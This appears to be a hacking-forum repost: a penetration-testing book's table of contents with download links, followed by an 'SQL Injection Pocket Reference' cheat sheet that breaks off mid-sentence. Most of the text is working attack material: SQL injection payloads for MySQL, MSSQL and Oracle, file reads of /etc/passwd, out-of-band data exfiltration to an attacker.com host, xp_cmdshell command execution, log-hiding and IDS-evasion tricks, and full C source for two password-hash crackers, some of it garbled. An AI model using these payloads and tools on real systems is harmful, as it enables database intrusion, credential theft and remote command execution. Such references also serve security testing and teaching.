236 Active Information Gathering ............................................ 238 DNS Interrogation ....................................................... 238 E-mail Accounts ........................................................... 240 Perimeter Network Identification ................................... 242 Network Surveying ...................................................... 246 Project Management ......................................................... 247 Executing Process Phase ............................................... 248 Monitoring and Control Process ..................................... 250 Summary ........................................................................ 253 Solutions Fast Track ......................................................... 253 Passive Information Gathering ....................................... 253 Active Information Gathering ........................................ 254 Project Management ..................................................... 254 Frequently Asked Questions .............................................. 254 Expand Your Skills .......................................................... 255 References ...................................................................... 257 CHAPTER 10 Vulnerability Identification ................................................... 259 Introduction .................................................................... 259 Port Scanning .................................................................. 260 Target Verification ....................................................... 261 UDP Scanning ............................................................. 264 TCP Scanning .............................................................. 265 Perimeter Avoidance Scanning ....................................... 268 System Identification ........................................................ 272 Active OS Fingerprinting .............................................. 272 Passive OS Fingerprinting ............................................. 272 x Contents Services Identification ...................................................... 275 Banner Grabbing ......................................................... 276 Enumerating Unknown Services .................................... 277 Vulnerability Identification ................................................ 278 Summary ........................................................................ 281 Solutions Fast Track ......................................................... 281 Port Scanning .............................................................. 281 System Identification .................................................... 282 Services Identification .................................................. 282 Vulnerability Identification ............................................ 282 Frequently Asked Questions .............................................. 282 Expand Your Skills .......................................................... 283 Reference ....................................................................... 284 CHAPTER 11 Vulnerability Verification ..................................................... 285 Introduction .................................................................... 285 Exploit Codes – Finding and Running ................................. 287 Internet Sites ............................................................... 287 Automated Tools ......................................................... 290 Exploit Codes – Creating Your Own ................................... 320 Fuzzing ...................................................................... 322 Code Review ............................................................... 324 Application Reversing .................................................. 324 Web Hacking .................................................................. 325 SQL Injection .............................................................. 326 Cross-Site Scripting ...................................................... 327 Web Application Vulnerabilities ..................................... 330 Project Management ......................................................... 332 Executing Process Phase ............................................... 332 Monitoring and Control Process ..................................... 333 Summary ........................................................................ 334 Solutions Fast Track ......................................................... 335 Exploit Codes – Finding and Running ............................. 335 Exploit Codes – Creating Your Own ............................... 335 Web Hacking .............................................................. 335 Project Management ..................................................... 335 Frequently Asked Questions .............................................. 336 Expand Your Skills .......................................................... 336 References ...................................................................... 338 CHAPTER 12 Compromising a System and Privilege Escalation ..................... 339 Introduction .................................................................... 339 System Enumeration ........................................................ 341 Internal Vulnerabilities ................................................. 341 Sensitive Data ............................................................. 347 Network Packet Sniffing ................................................... 348 Social Engineering ........................................................... 354 Baiting ....................................................................... 355 Phishing ..................................................................... 355 Pretexting ................................................................... 355 Wireless Attacks .............................................................. 356 Wi-Fi Protected Access Attack ........................................ 357 WEP Attack ................................................................. 362 Project Management ......................................................... 364 Executing Process Phase ............................................... 364 Monitoring and Control Process ..................................... 365 Summary ........................................................................ 365 Solutions Fast Track ......................................................... 366 System Enumeration .................................................... 366 Network Packet Sniffing ............................................... 367 Social Engineering ....................................................... 367 Wireless Attacks .......................................................... 367 Project Management ..................................................... 367 Frequently Asked Questions .............................................. 368 Expand Your Skills .......................................................... 368 References ...................................................................... 369 CHAPTER 13 Maintaining Access ........................................................... 371 Introduction .................................................................... 371 Shells and Reverse Shells .................................................. 372 Netcat Shell ................................................................ 372 Netcat Reverse Shell ..................................................... 376 Encrypted Tunnels ........................................................... 379 Adding a Host Firewall (Optional) ................................. 380 Setting Up the SSH Reverse Shell ................................... 381 Other Encryption and Tunnel Methods ............................... 386 Summary ........................................................................ 387 Solutions Fast Track ......................................................... 388 Shells and Reverse Shells .............................................. 388 Encrypted Tunnels ....................................................... 388 Other Encryption and Tunnel Methods ........................... 388 xii Contents Frequently Asked Questions .............................................. 389 Expand Your Skills .......................................................... 389 Reference ....................................................................... 390 CHAPTER 14 Covering Your Tracks ......................................................... 391 Introduction .................................................................... 391 Manipulating Log Data ..................................................... 392 User Login .................................................................. 392 Application Logs .......................................................... 396 Hiding Files .................................................................... 397 Hiding Files in Plain Sight ............................................ 398 Hiding Files Using the File System ................................. 399 Hiding Files in Windows .............................................. 402 Summary ........................................................................ 404 Solutions Fast Track ......................................................... 405 Manipulating Log Data ................................................. 405 Hiding Files ................................................................ 405 Frequently Asked Questions .............................................. 405 Expand Your Skills .......................................................... 406 Reference ....................................................................... 406 PART 3 WRAPPING EVERYTHING UP CHAPTER 15 Reporting Results .............................................................. 409 Introduction .................................................................... 409 What Should You Report? ................................................. 410 Out of Scope Issues ..................................................... 410 Findings ..................................................................... 411 Solutions .................................................................... 412 Manuscript Preparation ................................................ 412 Initial Report ................................................................... 414 Peer Reviews .............................................................. 415 Fact Checking ............................................................. 415 Metrics ....................................................................... 416 Final Report .................................................................... 425 Peer Reviews .............................................................. 425 Documentation ............................................................ 426 Summary ........................................................................ 437 Solutions Fast Track ......................................................... 438 What Should You Report? ............................................. 438 Initial Report ............................................................... 438 Final Report ................................................................ 438 Frequently Asked Questions .............................................. 439 Expand Your Skills .......................................................... 439 References ...................................................................... 441 CHAPTER 16 Archiving Data .................................................................. 443 Introduction .................................................................... 443 Should You Keep Data? .................................................... 443 Legal Issues ................................................................ 444 E-mail ........................................................................ 446 Findings and Reports ................................................... 446 Securing Documentation ................................................... 447 Access Controls ........................................................... 448 Archival Methods ......................................................... 448 Archival Locations ....................................................... 449 Destruction Policies ..................................................... 450 Summary ........................................................................ 450 Solutions Fast Track ......................................................... 451 Should You Keep Data? ................................................ 451 Securing Documentation ............................................... 451 Frequently Asked Questions .............................................. 451 Reference ....................................................................... 452 CHAPTER 17 Cleaning Up Your Lab ........................................................ 453 Introduction .................................................................... 453 Archiving Lab Data .......................................................... 454 Proof of Concepts ........................................................ 454 Malware Analysis ......................................................... 455 Creating and Using System Images ..................................... 455 License Issues ............................................................. 455 Virtual Machines .......................................................... 456 “Ghost” Images ........................................................... 456 Creating a “Clean Shop” ................................................... 457 Sanitization Methods .................................................... 458 Using Hashes .............................................................. 461 Change Management Controls ....................................... 461 Summary ........................................................................ 462 Solutions Fast Track ......................................................... 462 Archiving Lab Data ...................................................... 462 Creating and Using System Images ................................. 463 Creating a “Clean Shop” ............................................... 463 Frequently Asked Questions .............................................. 463 Reference ....................................................................... 463 xiv Contents CHAPTER 18 Planning for Your Next PenTest ............................................ 465 Introduction .................................................................... 465 Risk Management Register ................................................ 466 Creating a Risk Management Register ............................. 466 Prioritization of Risks and Responses ............................. 467 Knowledge Database ........................................................ 468 Creating a Knowledge Database ..................................... 468 Sanitization of Findings ................................................ 469 Project Management Knowledge Database ....................... 469 After-Action Review ......................................................... 470 Project Assessments ..................................................... 470 Team Assessments ....................................................... 471 Training Proposals ....................................................... 471 Summary ........................................................................ 473 Solutions Fast Track ......................................................... 473 Risk Management Register ............................................ 473 Knowledge Database .................................................... 474 After-Action Review ..................................................... 474 Frequently Asked Questions .............................................. 474 Expand Your Skills .......................................................... 475 Reference ....................................................................... 476 Appendix A: Acronyms ............................................................................. 477 Appendix B: Definitions ........................................................................... 489 Index .................................................................................................. 495 Download: http://rogunix.com/docs/Pentesting/Professional%20Penetration%20Testing:%20Creating%20and%20Operating%20a%20Formal%20Hacking%20Lab.pdf Mirror: http://www.megaupload.com/?d=Z7YUTFMR
-
[h=3]SQL Injection Pocket Reference 2010 Cheat Sheet [sqlI][/h] QL Injection Pocket Reference 2010 Great paper made by Reiners, .mario and lightos from sla.ckers.org 1. MySQL 1. Default Databases 2. Comment Out Query 3. Testing Injection 1. Strings 2. Numeric 3. In a login 4. Testing Version 5. MySQL-specific code 6. Retrieving DB usernames/passwords 7. Tables & Columns 1. Finding out column # 2. Retrieving Tables 3. Retrieving Columns 4. PROCEDURE ANALYSE() 5. Find Tables from Column Name 6. Find Column From Table Name 8. Avoiding the use of single/double quotations 9. String concatenation 10. Privileges 11. FILE privilege 1. MySQL 4/5 2. MySQL 5 12. Out Of Band Channeling 1. Timing 2. DNS (requires FILE privilege) 3. SMB (requires FILE privilege) 13. Reading Files (requires FILE privilege) 14. Writing Files (requires FILE privilege) 15. Stacked Queries with PDO 16. User Defined Functions 17. Fuzzing and Obfuscation 1. Allowed Intermediary Characters: 2. Allowed Intermediary Characters after AND/OR 18. Operators 19. Constants 20. MySQL Functions() 21. MySQL Password Hashing (Taken from MySQL website) 22. MySQL Password() Cracker 23. MySQL < 4.1 Password Cracker 2. MSSQL 1. Default Databases 2. Comment Out Query 3. Testing Version 4. Retrieving user names/passwords 5. Database Server Hostname 6. Listing Databases 7. Tables & Columns 1. Retrieving Tables 2. Retrieving Columns 3. Retrieving Multiple Tables/Columns at once 8. OPENROWSET Attacks 9. System Command Execution 10. SP_PASSWORD (Hiding Query) 11. Fuzzing and Obfuscation 1. Encodings 12. MSSQL Password Hashing 13. MSSQL Password Cracker 3. ORACLE 1. Default Databases 2. Comment Out Query 3. Testing Version 4. Retrieving Users/Passwords 5. Retrieving Databases 1. Current Database 2. User Databases 6. Tables & Columns 1. Retrieving Tables 2. Retrieving Columns 3. Finding Tables from Column Name 4. Finding Column From Table Name 7. Fuzzing and Obfuscation 1. Avoiding the use of single/double quotations 2. Unlike other RDBMS, Oracle allows us to reference table/column names encoded. 8. Out Of Band Channeling 1. Time Delay 2. Heavy Query Time delays Credits I would like to thank .mario, Reiners and everyone else who help me put this together. You can reach me at twitter.com/LightOS for any suggestions you may have or if there's something you think should be on here. Remember this is still a work in progress. MySQL Default Databases * mysql (Privileged) * information_schema (Version >= 5) Comment Out Query * # * /* * -- - * ; Example: ' OR 1=1 -- -' ORDER BY id; Testing Injection * False o The query is invalid (MySQL errors/missing content on website) * True o The query is valid (Content is displayed as usual) Strings * ' - False * '' - True * " - False * "" - True Numeric * AND 0 - False * AND 1 - True * 2-1 - 1 * 3-2 - 1 In a login * ' OR '1 * ' OR 1 -- - * '=' * 'like' * '=0-- - Example: * SELECT * FROM Users WHERE username = 'Mike' AND password = ''='' * " OR "" = " * " OR 1 = 1 -- - Example: SELECT * FROM Users WHERE username = 'Mike' AND password = 'anypassword' OR '' = '' Note: * You can use as many apostrophes/quotations as you want as long as they pair up * SELECT * FROM Articles WHERE id = '121'''''''''''''' - This is valid * It's also possible to continue the statement after the chain of quotes: SELECT '1'''''''"" UNION SELECT 2 # 1 and 2 * Quotes escape quotes: SELECT '1''' # 1' Testing Version * VERSION(); * @@VERSION; Example: ' AND MID(VERSION(),1,1) = '5 - True if MySQL version is 5 MySQL-specific code MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number. Example: UNION SELECT /*!50000 5,null;x%A0*//*!40000 4,null-- ,*//*!30000 3,null-- x*/,null-- - (UNION with 2 columns) Note: * You can use comments in between the name and the parenthesis * Example: VERSION/**/() * Output will contain -nt-log in case the DBMS runs on a Windows based machine Retrieving DB usernames/passwords * Database.Table: mysql.user (Privileged) * Columns: user, password * Current User: user(), system_user() Example: * UNION SELECT CONCAT(user, 0x3A, password) FROM mysql.user WHERE user = 'root' Tables & Columns Finding out column # * Order By: o ORDER BY 1 o ORDER BY 2 o ORDER BY ... Note: Keep incrementing the number until you get a False response. Example: * 1' ORDER BY 1-- - True * 1' ORDER BY 2-- - True * 1' ORDER BY 3-- - True * 1' ORDER BY 4-- - False (Only 3 Columns) * -1' UNION SELECT 1,2,3-- - * Error Based: o AND (SELECT * FROM SOME_TABLE) = 1 o Operand should contain 3 column(s) Note: This works if you know the table name you're after and error showing is enabled Retrieving Tables * Union: o UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; * Blind: o AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A' * Error: o AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) Note: * version=9 for MySQL 4 * version=10 for MySQL 5 Retrieving Columns * Union: o UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename' * Blind: o AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A' * Error: o AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) o AND (1,2,3) = (SELECT * FROM SOME_TABLE UNION SELECT 1,2,3 LIMIT 1)-- Fixed in MySQL 5.1 * Procedure Analyse(): o Refer to PROCEDURE ANALYSE() below. Note: The GROUP_CONCAT() function allows grouping of the tables/columns, instead of viewing them one at a time. Note: * Output is limited to 1024 chars by default. * All default database table names: ~900 chars * All default database column names: ~6000 chars PROCEDURE ANALYSE() * 1 PROCEDURE ANALYSE() #get first column name * 1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name * 1 LIMIT 2,1 PROCEDURE ANALYSE() #get third column name Note: It is necessary that the webapp will display the first selected column of the SQL query you are injecting to. Find Tables from Column Name * SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; - Finds the table names for any columns named username. * SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; - Finds the table names for any columns that contain the word user. Find Column From Table Name * SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; * SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'; Avoiding the use of single/double quotations * UNION SELECT CONCAT(username,0x3a,password) FROM Users WHERE username = 0x61646D696E * UNION SELECT CONCAT(username,0x3a,password) FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) String concatenation * SELECT concat('a','a','a') * SELECT'a' 'a' 'a'a * SELECT/*/'a'/*/ 'd'/*/ 'mi'/*/ 'n' Privileges FILE privilege MySQL 4/5 * ' UNION SELECT file_priv,null FROM mysql.user WHERE user = 'username * ' AND MID((SELECT file_priv FROM mysql.user WHERE user = 'username'),1,1) = 'Y MySQL 5 * ' UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username% * ' AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'),1,1)='Y Out Of Band Channeling Timing * BENCHMARK() * SLEEP() (MySQL 5) * IF(), (CASE()WHEN) * ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('test')), false)) - ' DNS (requires FILE privilege) * SELECT LOAD_FILE(concat('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\')); SMB (requires FILE privilege) * ' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt Reading Files (requires FILE privilege) * LOAD_FILE() * UNION SELECT LOAD_FILE('/etc/passwd')-- - Note: * file must be located on the server host * the basedirectory for load_file() is the @@datadir * the file must be readable by the MySQL user * the file size must be less than max_allowed_packet * UNION SELECT @@max_allowed_packet (default value is 1047552 Byte) Writing Files (requires FILE privilege) * INTO OUTFILE/DUMPFILE * AND 1=0 UNION SELECT 'code', null INTO OUTFILE '/tmp/file Note: * you can’t overwrite files with INTO OUTFILE * INTO OUTFILE must be the last statement in the query * there is no way to encode the pathname, so quotes are required Stacked Queries with PDO Stacked queries are possible when PHP uses the PDO_MYSQL driver to make a connection to the database. Example: * AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin'); User Defined Functions UDF -R S 10/6/10 10:56 AM Fuzzing and Obfuscation Allowed Intermediary Characters: * 09 * 10 * 0A * 0B * 0C * 0D * A0 Example: '%0A%09UNION%0CSELECT%10NULL%23 * 28 * 29 Example: union(select(column)from(table)) Note: URL Encoding your injection can sometimes be useful for IDS evasion. %75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31 Allowed Intermediary Characters after AND/OR * 2B * 2D * 7E Example: SELECT 1 FROM Test WHERE 1=1 AND-+-+-+-+~~((1)) $prefixes = array(" ", "+", "-", "~", "!", "@", " "); * 09 * 0A * 0B * 0D * 0C * 20 Example: SELECT 1 FROM information_schema%20%0C%20.%20%09tables; Operators $operators = array("^", "=", "!=", "%", "/", "*", "&", "&&", "|", "||", "<", ">", ">>", "<<", ">=", "<=", "<>", "<=>", "AND", "OR", "XOR", "DIV", "LIKE", "RLIKE", "SOUNDS LIKE", "REGEXP", "IS", "NOT"); Constants * current_user * null, \N * true, false MySQL Functions() MySQL Password Hashing (Taken from MySQL website) Prior to MySQL 4.1, password hashes computed by the PASSWORD() function are 16 bytes long. Such hashes look like this: +-----------------------------+ | PASSWORD('mypass') | +-----------------------------+ | 6f8c114b58f2ce9e | +-----------------------------+ As of MySQL 4.1, the PASSWORD() function has been modified to produce a longer 41-byte hash value: +-----------------------------------------------------------------------+ | PASSWORD('mypass') | +-----------------------------------------------------------------------+ | *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 | +-----------------------------------------------------------------------+ MySQL Password() Cracker Cain & Abel, JTR are capable of cracking MySQL 3.x-6.x passwords. MySQL < 4.1 Password Cracker This tool is a high-speed brute-force password cracker for MySQL hashed passwords. It can break an 8-character password containing any printable ASCII characters in a matter of hours on an ordinary PC. /* This program is public domain. Share and enjoy. * * Example: * $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast * $ MySQLfast 6294b50f67eda209 * Hash: 6294b50f67eda209 * Trying length 3 * Trying length 4 * Found pass: barf * * The MySQL password hash function could be strengthened considerably * by: * - making two passes over the password * - using a bitwise rotate instead of a left shift * - causing more arithmetic overflows */ #include typedef unsigned long u32; /* Allowable characters in password; 33-126 is printable ascii */ #define MIN_CHAR 33 #define MAX_CHAR 126 /* Maximum length of password */ #define MAX_LEN 12 #define MASK 0x7fffffffL int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary) { int i, c; u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2; u32 newstate1, newstate2, newstate3; u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2]; u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3]; i = -1; sum = 7; state1_ary[0] = 1345345333L; state2_ary[0] = 0x12345671L; while (1) { while (i < stop) { i++; pass_ary = MIN_CHAR; step_ary = (state1_ary & 0x3f) + sum; xor_ary = step_ary*MIN_CHAR + (state1_ary << 8); sum += MIN_CHAR; state1_ary[i+1] = state1_ary ^ xor_ary; state2_ary[i+1] = state2_ary + ((state2_ary << 8) ^ state1_ary[i+1]); } state1 = state1_ary[i+1]; state2 = state2_ary[i+1]; step = (state1 & 0x3f) + sum; xor1 = step*MIN_CHAR + (state1 << 8); xor2 = (state2 << 8) ^ state1; for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) { newstate2 = state2 + (xor1 ^ xor2); newstate1 = state1 ^ xor1; newstate3 = (targ2 - newstate2) ^ (newstate2 << 8); div = (newstate1 & 0x3f) + sum + c; diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK; if (diff % div != 0) continue; d = diff / div; if (d < MIN_CHAR || d > MAX_CHAR) continue; div = (newstate3 & 0x3f) + sum + c + d; diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK; if (diff % div != 0) continue; e = diff / div; if (e < MIN_CHAR || e > MAX_CHAR) continue; pass_ary[i+1] = c; pass_ary[i+2] = d; pass_ary[i+3] = e; return 1; } while (i >= 0 && pass_ary >= MAX_CHAR) { sum -= MAX_CHAR; i--; } if (i < 0) break; pass_ary++; xor_ary += step_ary; sum++; state1_ary[i+1] = state1_ary ^ xor_ary; state2_ary[i+1] = state2_ary + ((state2_ary << 8) ^ state1_ary[i+1]); } return 0; } void crack(char *hash) { int i, len; u32 targ1, targ2, targ3; int pass[MAX_LEN]; if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) { printf("Invalid password hash: %s\n", hash); return; } printf("Hash: %08lx%08lx\n", targ1, targ2); targ3 = targ2 - targ1; targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); for (len = 3; len <= MAX_LEN; len++) { printf("Trying length %d\n", len); if ( crack0(len-4, targ1, targ3, pass) ) { printf("Found pass: "); for (i = 0; i < len; i++) putchar(pass); putchar('\n'); break; } } if (len > MAX_LEN) printf("Pass not found\n"); } int main(int argc, char *argv[]) { int i; if (argc <= 1) printf("usage: %s hash\n", argv[0]); for (i = 1; i < argc; i++) crack(argv); return 0; } MSSQL Default Databases * pubs * model * msdb * tempdb * northwind * information_schema (>= 2000) Comment Out Query * /* * -- Testing Version * @@VERSION * VERSION() Retrieving user names/passwords * Database.Table: o master..syslogins, master..sysprocesses * Columns: o name, loginameCurrent User: user, system_user, suser_sname(), is_srvrolemember('sysadmin') * Database Credentials: o SELECT user, password FROM master.dbo.sysxlogins Example: * SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID; -- Returns current user * SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);-- Is Admin? Database Server Hostname * @@servername * SERVERPROPERTY() Example: SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition') -- Only available >= SQL Server 2005 Listing Databases * Table: master..sysdatabases * Column: name * Function: DB_NAME(i) Example: * SELECT name FROM master..sysdatabases; * SELECT DB_NAME(5); We can retrieve the tables/columns from two different databases, information_schema.tables, information_schema.columns or from master..sysobjects, masters..syscolumns. Tables & Columns Retrieving Tables * Union: o UNION SELECT name FROM master..sysobjects WHERE xtype='U' -- * Blind: o AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A' * Error Based: o AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables) o AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables)) Note: Xtype = 'U' is for User-defined tables. You can use 'V' for views. Retrieving Columns * Union: o UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename') * Blind: o AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A' * Error Based: o AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns) o AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns)) Retrieving Multiple Tables/Columns at once The following 3 queries will create a temporary table/column and insert all the user-defined tables into it, it will then dump the table content and finish by deleting the table. * Create Temp Table/Column and Insert Data: o AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END; * Dump Content: o AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB); * Delete Table: o AND 1=0; DROP TABLE TMP_DB; Note: You can encode your query in hex to "obfuscate" your attack. ' and 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--sp_password OPENROWSET Attacks SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"') System Command Execution Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands. EXEC master.dbo.xp_cmdshell 'cmd' Prior to MSSQL 2005, xp_cmdshell is disabled by default, but can easily be activated with the following queries: EXEC sp_configure 'show advanced options', 1 EXEC sp_configure reconfigure EXEC sp_configure 'xp_cmdshell', 1 EXEC sp_configure reconfigure Alternatively, you can create your own procedure to achieve the same results DECLARE @execmd INT EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT EXECSP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c' If the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command. EXEC sp_configure 'show advanced options', 1 EXEC sp_configure reconfigure EXEC sp_configure 'OLE Automation Procedures', 1 EXEC sp_configure reconfigure SP_PASSWORD (Hiding Query) Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure. Example: ' and 1=1--sp_password -- 'sp_password' was found in the text of this event. -- The text has been replaced with this comment for security reasons. Fuzzing and Obfuscation Encodings * Hex o ' and 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--sp_password * Unicode o %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0031%u0020%u0046%u0052%u004f%u004d%u0020%u0064%u0075%u0061%u006c * URL Encoded o %53%45%4c%45%43%54%20%31%20%46%52%4f%4d%20%64%75%61%6c * HTML Entities o AND SELECT 1 .ROM dual = 1 ( has to be URL Encoded) o %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2383%3B%26%2369%3B%26%2376%3B%26%2369%3B%26%2367%3B%26%2384%3B%26%2332%3B%26%2349%3B%26%2332%3B%26%2346%3B%26%2382%3B%26%2379%3B%26%2377%3B%26%2332%3B%26%23100%3B%26%23117%3B%26%2397%3B%26%23108%3B%26%2332%3B%26%2361%3B%26%2332%3B%26%2349%3B MSSQL Password Hashing Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercased version. Example: 0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE9 ... 1C0784B911D76BF4EB124550ACABDFD1457 MSSQL Password Cracker ///////////////////////////////////////////////////////////////////////////////// // // SQLCrackCl // // This will perform a dictionary attack against the // upper-cased hash for a password. Once this // has been discovered try all case variant to work // out the case sensitive password. // // This code was written by David Litchfield to // demonstrate how Microsoft SQL Server 2000 // passwords can be attacked. This can be // optimized considerably by not using the CryptoAPI. // // (Compile with VC++ and link with advapi32.lib // Ensure the Platform SDK has been installed, too!) // ////////////////////////////////////////////////////////////////////////////////// #include #include #include FILE *fd=NULL; char *lerr = "\nLength Error!\n"; int wd=0; int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash); int main(int argc, char *argv[]) { int err = 0; if(argc !=3) { printf("\n\n*** SQLCrack *** \n\n"); printf("C:\\>%s hash passwd-file\n\n",argv[0]); printf("David Litchfield (david@ngssoftware.com)\n"); printf("24th June 2002\n"); return 0; } err = OpenPasswordFile(argv[2]); if(err !=0) { return printf("\nThere was an error opening the password file %s\n",argv[2]); } err = CrackPassword(argv[1]); fclose(fd); printf("\n\n%d",wd); return 0; } int OpenPasswordFile(char *pwdfile) { fd = fopen(pwdfile,"r"); if(fd) return 0; else return 1; } int CrackPassword(char *hash) { char phash[100]=""; char pheader[8]=""; char pkey[12]=""; char pnorm[44]=""; char pucase[44]=""; char pucfirst[8]=""; char wttf[44]=""; char uwttf[100]=""; char *wp=NULL; char *ptr=NULL; int cnt = 0; int count = 0; unsigned int key=0; unsigned int t=0; unsigned int address = 0; unsigned char cmp=0; unsigned char x=0; HCRYPTPROV hProv=0; HCRYPTHASH hHash; DWORD hl=100; unsigned char szhash[100]=""; int len=0; if(strlen(hash) !=94) { return printf("\nThe password hash is too short!\n"); } if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X')) { hash = hash + 2; strncpy(pheader,hash,4); printf("\nHeader\t\t: %s",pheader); if(strlen(pheader)!=4) return printf("%s",lerr); hash = hash + 4; strncpy(pkey,hash,8); printf("\nRand key\t: %s",pkey); if(strlen(pkey)!=8) return printf("%s",lerr); hash = hash + 8; strncpy(pnorm,hash,40); printf("\nNormal\t\t: %s",pnorm); if(strlen(pnorm)!=40) return printf("%s",lerr); hash = hash + 40; strncpy(pucase,hash,40); printf("\nUpper Case\t: %s",pucase); if(strlen(pucase)!=40) return printf("%s",lerr); strncpy(pucfirst,pucase,2); sscanf(pucfirst,"%x",&cmp); } else { return printf("The password hash has an invalid format!\n"); } printf("\n\n Trying...\n"); if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0)) { if(GetLastError()==NTE_BAD_KEYSET) { // KeySet does not exist. So create a new keyset if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET )) { printf("FAILLLLLLL!!!"); return FALSE; } } } while(1) { // get a word to try from the file ZeroMemory(wttf,44); if(!fgets(wttf,40,fd)) return printf("\nEnd of password file. Didn't find the password.\n"); wd++; len = strlen(wttf); wttf[len-1]=0x00; ZeroMemory(uwttf,84); // Convert the word to UNICODE while(count < len) { uwttf[cnt]=wttf[count]; cnt++; uwttf[cnt]=0x00; count++; cnt++; } len --; wp = &uwttf; sscanf(pkey,"%x",&key); cnt = cnt - 2; // Append the random stuff to the end of // the uppercase unicode password t = key >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 8; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 16; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 24; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; // Create the hash if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)) { printf("Error %x during CryptCreatHash!\n", GetLastError()); return 0; } if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)) { printf("Error %x during CryptHashData!\n", GetLastError()); return FALSE; } CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); // Test the first byte only. Much quicker. if(szhash[0] == cmp) { // If first byte matches try the rest ptr = pucase; cnt = 1; while(cnt < 20) { ptr = ptr + 2; strncpy(pucfirst,ptr,2); sscanf(pucfirst,"%x",&cmp); if(szhash[cnt]==cmp) cnt ++; else { break; } } if(cnt == 20) { // We've found the password printf("\nA MATCH!!! Password is %s\n",wttf); return 0; } } count = 0; cnt=0; } return 0; } ORACLE Default Databases * SYSTEM * SYSAUX Comment Out Query * -- Testing Version * SELECT banner FROM v$version WHERE banner LIKE 'Oracle%' * SELECT banner FROM v$version WHERE banner LIKE 'TNS%' * SELECT version FROM v$instance Retrieving Users/Passwords * SELECT username FROM all_users * SELECT name, password from sys.user$ (Privileges required, 